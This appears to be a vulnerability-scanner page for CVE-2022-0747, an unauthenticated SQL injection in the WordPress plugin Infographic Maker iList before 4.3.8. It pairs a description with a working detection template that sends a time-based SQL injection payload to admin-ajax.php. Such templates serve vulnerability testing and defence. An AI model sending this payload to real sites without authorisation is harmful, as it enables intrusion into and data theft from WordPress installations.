CVE-2022-0747: Infographic Maker iList < 4.3.8 - SQL Injection

2025-08-01 Infographic Maker iList PoC Public

Description

The Infographic Maker WordPress plugin before 4.3.8 does not validate and escape the post_id parameter before using it in a SQL statement via the qcld_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection.

PoC

id: CVE-2022-0747

info:
  name: Infographic Maker iList < 4.3.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Infographic Maker WordPress plugin before 4.3.8 does not validate and escape the post_id parameter before using it in a SQL statement via the qcld_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
  remediation: Fixed in version 4.3.8
  reference:
    - https://wpscan.com/vulnerability/a8575322-c2cf-486a-9c37-71a22167aac3
    - https://wordpress.org/plugins/infographic-and-list-builder-ilist/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0747
    - https://plugins.trac.wordpress.org/changeset/2684336
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0747
    cwe-id: CWE-89
    epss-score: 0.14882
    epss-percentile: 0.96519
    cpe: cpe:2.3:a:quantumcloud:infographic_maker:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: quantumcloud
    product: infographic_maker
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,infographic-and-list-builder-ilist,wpscan,quantumcloud,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qcld_upvote_action&post_id=1+AND+(SELECT+1626+FROM+(SELECT(SLEEP(6)))niPH)
      - |
        GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/javascript")'
          - 'contains(body_2, "show_ilist_templates")'
        condition: and
# digest: 4a0a0047304502203e21328f64d02b9e9bb721cac13a5dec5b7b5a05ab7321bd7b060f4265d6a438022100c346c644d2eea28a1560141060a3f9b44ff5a25972463b757842402ed721ab9b:922c64590222798bb761d5b6d8e72950

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